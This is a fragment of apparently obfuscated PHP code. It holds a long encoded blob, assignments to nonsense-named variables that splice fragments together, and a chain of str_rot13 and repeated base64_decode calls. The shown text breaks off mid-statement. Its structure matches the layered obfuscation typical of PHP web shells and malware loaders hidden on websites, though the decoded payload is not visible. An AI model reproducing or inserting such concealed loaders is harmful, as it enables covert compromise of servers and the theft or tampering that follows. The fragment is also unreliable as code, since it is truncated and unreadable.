MSyzLH4iqQuAL0WyqGR2nGZkMaAGDat2LJ9fAHAHrIEBFxSDHwWlA2qxpablH2g3BKSZIRSnIz5hDxy5BH5BGxy1A0clIQWXHKWlDIOdEwETqxD1q0teJxkiGKDlGzj1M0MPAmEZpmEDMTgeEmOOERclL0EPp0qaHzL2G2VmAHETFUEWF2uDLyZ3oTR1rytlGHSBqxSIrJ5jIQS4rwxmM1W2F3ynJT4moHMZHmOMrHD3AScuAyqiHR5YrJAfFQMGnSAFZxk5nx5Gn3cOAQykBKOFIGDmH3WhpGxmITWDqQSOoH41oSASHUEcpzWOrIuao3MgHHgyX1cQrUWhpzf5nGy3pRSUJGIlnTyRFTSmpPgDMGWyMTqzHaEnHQRlJwqUIyAVITD3ZmWAIRWAoTWJY3EjL3AEBHyTZJjkEJWzqGV0EQIgY0S5X0x3oJq1HGS6BJMVoKOFFRg6DxDiZIc1qaMhIUDmFRV4DGZ2F1WWExEepzLeHIcHraIwMTIQESMfEHMfHUMVn2WiHJSSF1qcMxSXZ3ISrvgiM1IyZycbn3ZmAwWYM285X0WTqQumrx16MIL0DwOzAPgOo01nHmALEyM6oHIzDwE3GHqZDGyBBRSvD2W6IJ9hGacgGTEEHwpiqz9uIHMTGH45IUEGoxAgIx02GvgapUOWqxqRFIALZaSVEHEeMTLeEx56qwReMSWFJaImHl9bHQtkA1t3pRA2M0WGE2Z3G3yyHRu0X2kLMmEOFwZmqHyUY3H3EJ5HoxMMIIqZHSq2Zxc6LyZ0LaARqTgfJGp1GJDlX3qiHGSBY290AH5jERV2nUMOMyI6pRW0A3cVH2SnnSN0GGyBHmyWAKMkDayQGzqCFSuXn0uvD2DeA2SSAwplowACH1tipP8mGUIHHUEVJQS5FyAxoGqjI0fiEzcWA250AKb4pmIEAwN2rIcHBUbjAUqKAJq3GzW3LmMRqyO1n3u3p0gzA1MeZQOAIJM5L29DpHqKD2qVBRgSDFgWnmAQMQMMJSqDFaOkMmEUqULmE2gvA0IaGwq1Zl94DzELY2SwHSIDrxDkIwEPpv9nn3RjD0D2FwWAIR9yMRD4MaEcMHxmqzVlY1qWDwAgL0WPnUccZJSfDKHjEHt4FJ1dMyt5rREQM002MHg3DzIvqxyOMSOZAJkcMGx1rHW6IIcbH2gXpJt0nJR4ImWXY2pmGz1FM3IwoJ45MTIyBII0AHMdrJ1bITMuY1u6rKWOHIuLZzSLoz50ozDkBJ9jHR5kpIElE1D4AGqZIwyEFwAyEHSjMwAnDzWVY1WLrJkaA2VkJJD3Z3qznGt2oUWxHKyBMxWQqIEwrzuXZaAxrPgUBJ14LzqPJJEanKEGJycEDGR0MJE1F0AMA1xiL2AFBKqZEvgmnUyEoT5jp1VlnwuXMaHjqmubpUSZJyIRIxDiLH10FQA2pIMZMzkxDGAfp1I2EaWMMSyuZaOaDHIaAQD4HIE3qwteJGM6XmIBDv9EH2MzozyZGaIUAHR5IH5CBIqUHTH3rSNinH9QZ3M0qyqkIwq2qKL5L1uKoTujp05ZIKcQIzkLI3VjLzRiG1yFD25nZl83DHxiARMLE0EhMIOKD25HrJIgnUMfpSSbJzRiMJuELGqwXmuQMQqKrycxJSR3JQSBZHAJnyRjZaqVZ2k4MTIXpzAPY0Z2IzR3DHLiDH8iFQOkM1ViFUM2GUNjMaN2qIS6BULiMaEXY0Z1HUAFIP9MAKqBX1EUFIuOqSyJZmWvrGqlGHywp0kwM002BSS1ET5hFxqlASuhHx9noJAlpGtlnxglERk6JGS3rKH5X25TH211nSqbHR5RI2qUJQqSpH53pIW6qaMdITMhJTj2pxqmMUMIIwEVJUZ3LmuPqwEYnTg1qx9JEwWMMTZ3n0WdoQOVL2MyEQMQM3LeEyNiZHqerRf1qHIzn3OIrx1VJGZ5F2WHA3MIFaL3L09CHRSULJ1Yo1AHqGICnTABG1IZHacQY09LG3MIZxD2MR11IQuIGHLmrTMHMzA4GTqYDzj2p2ckDyOQEQy0FyAio3EKISWhrHcVL1uPJGycMKMDFTp3pH5XM0L2nIDmqKI2pUcaXmN5qJ84M0AhpKHeBKEAZaL2pIIGBGMRrwWOF2EQnRSxoQEArKcFomMvARIXY0SToxWMEzWVX3WiqR5HG3AGJzA2ZmyTnaADAaLkJwOTFyZeqKEXoSOLIzIeF2SuHKOAA0MyEwqFqJgIqzuyrwOAqJjkMmuDJGIuEyOFoR5Ho3bkDKyzM1p3Z3ElXmE6qwA2nKIZITkAZItlrwuABTcMMHMcI3W2HT5HpwpkHPg6n0SPo2ghJJH3rQZlL3MWomWUqv8mEwy2qKMwnGAzq0IBqxIGHUAaqGywL2ALJwu5LILmn1EUnGASBGWJoJIunxDiA0u2rJfknz1aqSIOHHcfY0q6Z2A4JwEPJTIVX3AAA0c1Jv9Zp2Z0HJIYrxj2GGO5EaMmMx94MHZjF2gZY3MMpwWzLaSvE2DkFH9xnyyTGHuHDaWUpKcZDKEjAxS1nQt3p1ABrIESISVeGHAHZmMWo0k4nGS6oTqVoyDmA09QpxEjq3p5Z2gioIH1H0WVAGV4p0x5BII2ETy6IHH2MGAKGmRlAzIApR5IIJIhFKMRoaOLnaEEpGD5IUIDX28mDx1YLmMBZUS0EmEJGTAjowAkL0ceZSy0o1Z1HREmEQZ3HQuTY0qQEGEZHIEyMxgRAIMbExf2FKIdHSSMG25QrwZinTAUX3SfDacyEIu4o2bmEmR4Hv9PGyAbMHy1oz16GKcdGKS6GzSgL0MIqSV4ATS3qT9ZJFgAH01MpJ9OAUOYp1EFox15GTMWBSSdZPg1AIORASuxDIElZ2IJDJRlEacSA3E1qIIkAQH2MJuhAJMRq2cwqHyjL0SfGx9OEyZ1qJbmDzj3JUA4GKH4MUOPFSH0JJAPqFflFz1xrxx5rSqdAScOHRuTZIILp2kJDzE3D3MfEHMDJzMinH4mpKS3rzAUIUOaGQuWBTkgnx5Jp1b3EGMIETAPZxkjJaHmp2MkG3plLaMCpSAeZSElpaWODJc4nz5xoQyxpxECryWLJUZeIayIo25DFSH4px40rQEPFT9dqJASFv92qwN3JIATMHLkZmOmGwAkFxIVARH3EGOKAQAwFQOMoxt5qKEHnl9CqJMaqJMxFmIfZmynqwHmrxcCY3SvDz5RMIMTZzbkF1qKMJLjZaqeZGShFIAOpGueGzbeqIMOGTyVHwyXqSOAD2EbBUWGD2MjBQSIo1AYpyOwGJygHKuSq1DmHF9PZmxlAR1uY0D3E0EBp2EGEJ1frINlHJAnMz1yrGy3IUczFGu3Mx8kEJ5KrxqUZJW2FRgaZHqFqIykGGAwGGSGA2uzL3OJZlflq1SDDxkbqJE3q25HrJZipaWhY3EHEz9hHJ5TZKu5GIL4EUD2qxAJEIu2IRt2HTSBMIOMowuIHmMYoKEIJUL3MJ9BMzSfM25LpaSfnwuPFJgGoJZ0Y1t2ZQEOBQEKMIECEGM5Z2ulHJkgL1SYqzcLpKpeFGy2MUSHGSp0LGR2H1ySAIV1BQAWHySyZyD2EUIZEwqMEQLjFGMDJGN0ZUAHETquJSuZFGqnnIWwo1WuDJk3nwMApREhJaIYnJS0owHlZxV4o1cdZ2gKGGDiEUABqJAZpKSOoJAhMQN4E1OmBSqvpaM1LH5QGUygEmEinmEJEHS1pGqRF2ADMT0epJyEqaIREHqdFSI2nJ9lIHM3MyV5IUMbLmN3A3q4GJjeLHI3BQunqaZlMT1lL0MvrxL1rx5IM1EDn1IDHRSaZP8lGRu1X2HeD0MyrTy1BJRmDHZmnIEHZHEaIHyiFx1WDzbeY0ESqT5yrSqjBRuDoyu2ZaMQraRkF2Z3Il84Zxp2Zxu5EKpirP9hAISlEHMTJaSxIzybGUuBBQA3qT9HqHEAGGOhqTZmGUqlLJx2qzSAoKAmX3NmZzj4MmOcIGEPBScOAaWRZSA5oIuPAUMcFSSMpHk4H3yEGUV1G0WcBT1ZDzj2DFfeMHSZFT1THyuen1qOD003q0cvraq1oGuVHKOMrKulMyS2pzV2ATuzHGt0MHMRn0qIq3bkBUEwMzchqyuhpvgAAzW4MGOWH3S2HUACZRg5q2AUAREyqT85Fycgn1MdL2AnZRygrQOYI0yLGSpjGGM2EGMiEGy1A2MlHSV0ZSWQBQA1Z3AiJyOCBR9DnHydMwN1pJEII05ZLmqfpUN4DaH0nRAYo2t1oKM4pacPDHA3ESEzI0kFF2DeHH03MQyhDIx3FwIdoKO4EPf0q2uEBGWMozM4HxqApUcmp1NlG1E2oTWSIUyFJyD2oKcYFRWmrF8jL0b0ARtlM3IDZKcXpzEInQM5LycIHGuUMHI6nycbHRMgAmA4JHLloGp4FaEPMFguraWfBFgyHJRiLx9jpQEmnUW5ZmqaLGWOnmZ5qau2G2DiJwu2GxMQHIblHzZ5IJ44AIAQoaSvLIyIql9RoUxkJKRkqIyyA1EOGSuUpzflFKAZZzISpac1EJM6qTgGFH92G0birIqBA0t5EUAdG3MCFJE4BTcGLaOvFGuAn2L1A3yVD1OWFTEwA1uunUyYHzEHoHSHZvgwq2yIGxIdnSN0Y1uVnSOgnxEyLHAgG3c2ASWJHRAEDmx5nHkeLxEzL3uwHyuFnGEFATILLyExowuOLFgBrUMJqaL2GIEWJR43AGqenmZlrzEDIwuOLmEDM2SbAKWXFGO1BRA5ovgRqScKIRMEIzq6DH4kHUAYIxqWIQViAmEboUV0Z3t1IKbkH1MeqRjlF2SRHxERo3uZBHkHHT1cGwSYq1IUpyM4ARuSFSOYp1S1HGEDn0WAnwMeGTAaZwqJM0khM0bkoGEDq1IZqUWCZzMaASb2M2M3X0gEATEIGaSCFRZ0IGAeGauYLGV3H0gVo2EvM3c6EH9yGzkLATL1ATqXM2I0owOCG240GyHiZTZ3Dz54Z3MvnzI1AR9bIxIMryEzHJy3IGteoIImrJuDq0I6DKp4MHfiY1cAAScwoIcmLx9uA0u1pTqdoz1GrJcTH0AGMUZ1ZREunJSLpauALIyHZHcHJRkYpaMOA0cxMyISGTuLMvgRMT5RFTA2rHWVIGp2ZxEyY1Mlp29QEQSDFHAIA0SBAKIMLx4joIIboT9IA25wBKSXEQqIIwqurwuOpwH1Hyx4BJ52ZTWKY2geAwx2rvg0Z3EhFHqUqJSiDGADE2WYHJ13L2MmX3czrKZ3LGATZKcanyq0rzp5JH4mAaDenRRjY1chJTgcY1S2pUMmnx52X3SiESMbpGEFZzqfY04jDGxlozqboHWCqHtlJR1TEaDlEUN3DxuJGaSCJJM2Fz5hEHkuZxL4DHu6BTujZ0EjITWyHJViEQqVZwMzY2u2JTqioyOaY2gQpl9xAHIXEl9aJSIRpyAME05EIH1gIQWBImWln3piXmAjHTIHrxLeLxb3HHkYEyA6M21EZGqOETAxHwSwMHAKpSN1ZGMFo2SbL1uQL2MBHTALA2L2D2L1AKIiEQxlpURjM3EyHII5Lv9EY2MLAIIfFHg4F2yLEJ84IJMQIaS6qSIuqKuKH3OVF1AWMyWYFwO6GRD4F2SyoaRkq2EenyIKnQqcMIqznHA5n09LDaq3IT1VqKqaX3NjAFf5E0k1EHt5rKACMwZ3HUc2MyNeDzZmX05uAGIiZwp4oIuvZyyWMzAOqxHmJxAvZItiAvgYE3MQDIqODF8iMJcJAKyVLHR2BHyPAJxeDGLmBTq2IHVmX09VDx8jBTW1L2R4nxgQqx0lM25aIKAErwp0JIReqHfmoz5urQu5IzIfIwyJETV2AzfiHILkBQyfMmS3E0ShJQMxFxElImyVHz5eF0uAL0M1oacKE3L3LaIAImuVn0EbnHM2qaV1ASMBAHWiBKqXY0IfJGEPnyyRnzyzqUy3EUOiBR1yFQSApxR0HT1xGHqnqT94pTEkJJEFqKcwAJ9SLwOBnwI4JQujrx5XI05bZ0cxrHDeZv9hGwplnmE1D1D1HKx4pUyRGmqmHx9KHHjeJxIkqwERGIHmZ0ARqP9KnTqIqzMCIJ00MzWvqwWLZTIjpJSlA3qJFFgfDyMkq2jkq0MboTWLqwMMqJIzq3tmX1ymnJInL3N4qKSjZGyCryb0X3AdMUNjZQqjG1t5E3u2FHgWE2biG2piY2AILIueJzqzLmOMrzIUoxWBnQLeATEgIyq3pT1KBUSEJP9PrQLlMlf5rQZ0FQAjLyWgFTxkDKDlpUyeLyD4D2cxnmHkpTMPITyFM1SJX3EzoTLlEwR3q3IAFSy4ZaSLG2M2DJcKJUHmJF96IKyMZQI6MwqDo1yWGR9QnyyRG0InX3A2BQEEoIWbpGWSZKH1ERM1ZKqzMz9XAHq1M296AUE1MHyJD0EUqJWWMmHmEKcBIKZ3FTg3FaI3L2q1o0WwHJSmZISvDKMlE01JFlgTY01RFKMkqwAfrTuxFTMOrGAzY1ODY3AlrRAWq2kiJGEXHxMKHIOXGR9KMmqdAJWxEIuRqR9dn1AaA2VerRtiqTf0nH92px1GDIqAq2yRI1OvHIWWpSA6MzEUAUOZI2gME1R0X05gJRM0EUD3qULjIGuZJHWvLl9OqmLmn3OIJQZmZaxkZR1VHTSnHUuPISpmMHyBA0L5AmqSESHiAR5hI01OHUExHRIuBJquGyqnMSEDnUIWA1xkEIcOA3blIRVmowEKBIEfnQNlpwA6L3WJrxqOX1cPnQOaEmRlH1MyHzAJoT1hHzgCX0V3LaWXn2SYM0EhqIMXrzAmBSODAR1UnzAXEmIDHwyPBTblA3IRrJ5cqz5OExH4L1yyMxReI0EDqwp3raIwGRuzH1AJDILiL0gZE1clpKNiMQuUEmRmExc3p2kjp2qVMR84qxSeGJMgY05lZ2uBoKb2GJgGGHkXG25WH0EYnmxjF1t4E1cELyScomykGGMwpGxmBGEnG3xep1Azq3cWoRt3EIuwIQH5oRuWGmAHrJLeZwATHQWlG2c0ozMuLlgQpyHiFUZ5M2WyEQS6q25gEJWaomHjMRSLqQtlFHIuYmuHGUSKnwAunmqyY29WHTgOH3V3oRjkoIImLF9mq3L5p1c3FzIkGTg2MTfiHF9dIaD5Zl9nBUqRZxynAQMPMwIArwt4pJZkGzALBSIbMHMGpGO2L1WTZ256M3WOGGAdq05PBSHeIwE3FTx3D2yPDKymAwp3D0kvIP8en2qkrJymrx9VFHEkExcJJKV2Ml9jDJ1VXmW0A2EiDaS0rzMgrJV5M2S3AKM0oaEAoz5hJKMlFmW6ZKIMJIEKJaAdZwqSo2DjqKEfMGqlnzqcMGAKraAPqyE3ARqdqHqDoHq0M2ECryV2G1Z5Ev9IIxZjnxuhpUcOEGZ0FGOHpGDkp0IbnmIfZTqMGSterGE3rISLpJkGExj4M1NkBQI2HKqBHRMVExbkMzIhD3cdoyuXDIW1ZJcepUqDZGNkMaWjp3OkMxg3E3uFAzMxEHEKpyckM2MDI0gzJyqPM29GMx5VGISArJAnoTI0nGyRBJRkETq4ARyHMHy1GQyDDJEiDmuzL2A1JwABZaSEHJpmZaq5oUMarJSLF1AGqUyxLH5yHKADGv9UESIOHJu6DxkIZTcCZlgVMUIvHKLmLwWLA0kCqx0iDxEmBKEGDzAjAmyWZwZ3omSDM0EyD3qkpzbkATgGL3W6ERcfZIR1rGIaIStjAHkBHQqDIwyPHUWOpacMqQMRY3MDMGWBBHc0D0kcFJ02A05arIOWL1E0ITWJFT55Jz41ZwO5ZxtjrQN4H0SYMF9WJQOTBRIAMJcPqTE0Gac2DwqAFJMuAGEEZUM0EzS2L0yuLJkTG0AQqHSPA2WYqmuOq090BJMKFmDiFz9zJJMeZHkWHUqLEwIAqyEUGRqEqGSeqzb5DKWzZJ1cYmMErH01DwuVG2EEBUp3pQIwBGxkExWRJTy6Y1EnAvgUMRAhrF9WFISBGGOEq0MEAUukBRj5BTuHrRMWqwR5DHgCExW6FRt0Zyyyo2A2L2DiJwuSLaScnKOlAxSRoUyGGKEHZ0MyqwOQEzMiFzELH1cCFIWlBR9LqzAPrzIzEQECATWmqURkLaW3rT5JX1y4ATx2AxEKn3E2MIAwZ292FzAHpaLkqT9urHuvrGAanzSwM1MAHSN2HRABY25IrGWWq3SVAl9QraHiHacXnTM3FUO3Y0EloGudHKp4o0ImMJ1Xqz1LMUL1ExAuoTReMTELEJEkMRyLqaOdGH5LomunLxIZFSOdBIuTI2IBrRDlqH5WMUZmZUN3GaMkqJ8eJHkvrGOvq2WWMIS1DHg0HQy2MTu4ZaH4qKqDL0uVGzceATucqKqBFIL0BJIXFKWmDaZmAx9dITcFpIcgZ2LmMUZeYmx2pUS4H0EypStkHR4eBGWTpKyxBGAIMl9Rqz9SX0uAFR1UBRk0ozM2rwOgFKHiL0p1DmuQomH4F1bmJHflFz8jLHq5qIS5L3qZqGq2pxbmMQOWGQqeE0giLJAWBRcAMyI4JUH5Mx5dJwAmFz1mZIETqKcbIKWzE2EiERbinR42FmqxZwp0qzpkM1cfnzj3GQuSraWUIJEOGUMGpyc2qQAio0kyqQMeM2EkX2EIM0RmAHcmAmp1IUMAGwW5GKEKpKOVGmuME1u3GzA5DGpeLKZ4GTIhrJSOAacbFxMEHQAwExAZMyWKXmWlY0SxnwLmY1E5GTM5Y3qunQIDrIIeqFgWMKSjMmMKYmAJZRcmZaE3oTqMY1EfMUMFGzqIpl9JF3u5EHcSD1OgGHuMZzuVFQELoTqeD3AMrRfiqyD4n3yfH0caZlgSL0IZpz1fM0cTqmywZ2yyGTqOryM4nUp0HJtkFQqUDyyhIQyhDzpjXmD0FmS6IHgLFGVeoJEBJJcXY082MmZjLzq1FQMAA3cDpJM0EUchY3A1YmACFTf2oHRkFRASX3OEAwIdHUExDzqJGJ96AGxeJSIPIJEFF3MHJwZmn0E5GJAEJRIZqT5dFxp1IGEGqIuLZ2WCnGukA2yvL24iMyL0qHE1qGOSJTEiBJAHZHWTImIiITt3FmSIJacUp2Wgp05UoGyiX3IOZyyWJzqIMHqJrxuiZ0t5M0I0BJqWEzMEZxx4AHugnmEnraqfD2q3oILmrwR4nIxepJ80rQqmnGyXA0kzIJkdqwyDAQA6FKMUHTcmESE6ZxyFq0D0IQRjoKSeGTHlq1t5GaDmqHuVZIEZF0D0Gx1RZmxeY3AMIREUFUM2pR8loR9zMGyWBIIHrUqlGxqyL3IXE29nIJcUIR5WJzM6qKWYrGImpzgkrJyWn1ODoKEuFKx2qGOBJQS4ZzyyqH96LHWRAzWzGGASX2SHLJt1Az5ZLHkZq21xH0uhqzqXqH84ZUIhEUqLF0f3ZGEhX3cHMGxjATSyoR5SLyEErzygZGyJomRkIyIFMxIhMJ5QqxqenHb1pHkgJHIbMHMYBTIdAGHkoxtkomIIHxI5rUplrHgkp2kQqGVjDJgIrIcyLyWnZSyYpJflGzp5IHIGMJgjHmAMpTMMGyyLZT45pT5LZ0y2o3ydI1qMqmM6FxymomH3ZaORFSMmAISvJSc3oyE1DxMkEwWPEJIynx14ZxuCJTyHZ1uEI3OJHQSfJwSxoIpmDHy1MT5TIwEQo2IwovgkHTgDpTIBoySxE0kjpSOiI3WAoIAvFKAwIKt0pyqfpHIUqyOaAmuaHJM2o2AmA3uHIHWGAx1DAHZ1ZKcwF01hLHuIFTchHaR5A2V1ATfiJTj4EzWnq2AlqHDlIKMUM09jE3EEGQplHRgVZzMFGGALJKNmZJuJqwuDBR5kAzuQIP9unz9fnRMAASt5AQt4IwAYF08mqQyVZR5PGR9Op1qxqT1PGaIyHSyxZvgWATMMLmWhJQI5paWVpyI3HaExAR5ipl9cGT81MJkhEKH2D25hLGSTnUSUE2EDE2Ifp05YL3cOJSMKJTWIrRWUrRkIF2AdHTcgEwSwJxgyIHMCqUIZAKO4F1L1ERczpIEKBIE3rwH1JTEHXmM2Z3MOn0uVoSEmnUM2qwIiMJIGoTb5A09aZxA5HH53MQqvZKcVEP9zGIWAq2ITqmuVA3ybZ0ubrRImraNeowAjZ2MRDmyiL3IOFIIcFzb1rT5LAJAhGQSOFR93rzben1bkAaMYpQWXAUEOqIx4DzpkJKEUMSAMHKcaLGZjDJAyG25knSNjnSAbZaE2Z0Dln0gDnwZmqx9bIT5hLwWKL2qCITgZoaqkFQIfHRfkAKOZpQWyARcynIAPARAYrzHkGyq6AUWCpJWTA3yynR03rJ5knUEcFTAyAmAPHRt5X0SArH85rQSIpH5VrIIxnmOZBHMyEF9xBKSPrFg5H1OLHUV5ASSuEmL4FTV5ATyPqRWXqQR1JxIInHW1JGMzIJAvExcCZH9iqStkFJIAI1VmGQuiZmMRZvghqzfmo0uUZQOeAz1KIRkyHx14FSD1nzW0BHWkGSAdImqPoRgnMRcboQSPrTu6p2kxHIOdHzuCFTL3JHcuG1NiFaIcLJcWrT1Qnz1wFKSQGaOMAmSvo05WZHg2oxI6o2MwA3uGDKOLGwAvZaR3GyWHnxqVGRjmJyOuZ29SqUcVFxkBA0yDG2qiX2I4n0SvX2AHAxZ1Jyu0GUyHZHkLMxHeJTcPAGZ4GJfipxE1oJuYDJt2HxgxIaV4GmyWAHgKqycODzIyAP8lHmMyFIN1BKqzoKqzn0cbpauQnJkIIIM2L1EAEyy3G1OBHSLkAH9HF2klJzukAwA4X1xjoUukAHMFGTWEpmHlqR04HvgQY1yBF0MbFwViI0qnHxqcETqhIxMnHacFEKAbnII5nmIIJxEcX21xqmuAIJq5qz5koaIQFRWhAzyTA295pTMOA3HmY1ACGF9nFRWBpwSxAHuWnJ80rTqcqaM6JF9EMIOMZRpiq1M1o0qyEyMyrSSyFGL3HQMeDHAioSOeraxlGKEdGwtmDaILn1y4MTu1pJZ4JRIKJJcRLIViZat5rHAloH1epzEHAwqOH0ykZxuHIyyhFmEKY0RjGIqTF3OiM3MKraMZMSShGH9yAyDep3WYA1D5FxgRqQSJF1y4X0j0JHj2GSIkJGIuLwIzDKOFFwyTBRgIASuYrx14D2ScE2qFrzcKX08eIKN0pTq4G1SAF0cjMUb4AzSWGRWGrzRlpzSZFSEDMP9GnUu5nKyvA0EgqKcYYmqhqJk2GQEzqGMWY0I1MRkAY29GMTpiJGOlH2yvEQVkEwMdZKOlHQAQqyWdImWmqayCM01hZTyIDmp5o21PL2f0AaLkq09FZ0gnD1OYAmqHqxEQEUADqKcgZ3AzFPg6AzyjZJf2G0MmoJuRrxucGzWMqGuJo01uDmIMpKLkFaIgrH1mqIxmAKcyqwL1n1ViLx92H21xA1I2qaITGwq5GID5AGWOqwLjY0umYmx5GyEnoIR4IUMOnP9mAHgvBTybJSZeA0EhY1OPDFg6pmEGAxIBpJMVoTp2qGAuBKIkpHkJY3H3X1WkqF9JrUclESuVLwugIwL4I3R1BHA5nySJov93X2IkoSO2A3caqR9YraM3qyOdIF9ZrKS4Y2IxrwuuDJHmFKp3EaH4X3O6FSplnxSFEH1gASR2qUVeZQp1JJj0HxuUFJI1FF9WqISeZ0uMHRu3GKVkFmI3AH9IJwZ3HSWCA2qGY0SVqHyUo3OXHUyWBP9ZA0u2ETMBLmqzX0D2oxuzrUSnESSuq0S1o0I6ZmulLyM6MJkXJUL4IQt5rJR5ATpmAKEPBSA2JUMUn3u2FTyaq0kloTciFaAYAHy2JxgvI2EOA0kBDHkiIJ5SraA2Ax5DJaqEMwEVnGMunmM0qKqAHHImMRWjX0uTFJIZGzASHx5wqKWxG1qYLKR1DwM4oyIKFz1zIKSmoR5LImqlZx9JrT9fY3p4rRg4Hat2MHL4IR9DJSN5GUWZnvgPMJAcARkDG2qHrRj2p1IcXmyHGHkYEyuHAxqLG2Igp3MwE1ERqHkhL0uZo2cnLwSJZFgyAayTHzj1ZmE1Lxc1L1qKIUIaE3IeAIMaqQqWZabjLHWABTH3oyS0ZISjBQq1M2Z0Z00iZGyRqP9ZqP8eAGpiZwHmYl9Pqm09";$eer5g62er5ger6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62b0dn6d0n6d5f0gn6dgh5r0gd6g0d6fg50d6g0d6h0000fgh6fghfghfg6h146=$aqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraMqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraM.''.$bf00JBOIPOPLKHgd65g1d2fg130000dfgdfgd0fgdfg0dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foU1gf110dfg1d0fgd1fg0dfg1KHgd65g1d2fg130000dfgdfgd0fgdfg0dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foU1gf110dfg1d0fgd1fg0dfg1;$fOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2IxOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2Ix=$eer5g62er5ger6g52erg0err6g20er6d65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJg20err62r0he6r20d6f20df62b0df62b0dn6d0n6d5f0gn6dgh5r0gd6g0d6fg50d6g0d6h0000fgh6fghfghfg6h146.''.$cS651D65DSGM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA66f0dfg6df1gd6fg20d1602032S0Df0dfg6df1gd6fg20dG32S0D3GS0D3G203df0dfgd0fgdfg0dqUHyqEfg6df1gd6fg20dfg0d6fg;$gqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra=$fOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2IxOLrz9wL3MvEUqJY0SHFIAfGHETpzcaBKAlZmqHn211o0kYX0g1rKI6rzuXZ0uUHTgnnTL5nmMyrSE0ZJ13IwV3BUEFMaMZJUEEqQMEJScOA0SMrQuGn2Ix.''.$dS651D65DSGM3HT9SpvIPOPLKHgd65g1d2fg130000dqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTMjF1EfoQuhJRxkqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra;$hjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTM0200221g22222000jF1EfoQuhJRxkqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra=str_rot13($gqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLraqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra);$iSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0SxZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqRSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0SxZRgOAzpmY3OmHRWRHz5AET5zZRWZIzp0BRE1MTE5Y1WgEQy0GKOzFzEuLzAzFJ9zGJ43o2Lkqmp3Y3EMEmEXoJEKGxIzHaSnn0MFL3qXnP9MGTpeLF9HqR=base64_decode($hjF1EfoQuhJRxkEmAkBISTFTA6M3HT9SpvgypUyknTM0200221g22222000jF1EfoQuhJRxkqUHyqEDaM3HT9SpvgypUyknTMjF1EfoQuhJRxkEmAkBISTFTA6HwMcJKE0Lv9foUMerHx4FxSHrRWuGKq1rFgSZ1cyLmRmI2uDG2EboaZ3pzfjLKS1rUu5GGOLra);$jwu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1owu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1owu2A2EaGauErKumqmucJaWDqUEnJSWwFKS6Z0EgpHcerzqkpQSlqmMFoJqwoIO3AGIxq1uxqGE0oQyMET51MGSBY3D1o=base64_decode($iSqnpyACJHZiMv9GL2Z5EREuZvf5EH4mZJqeI2qWL2DeZmZiLH55IUAaHKZjoyq0I1yzMHg1EyIgY0S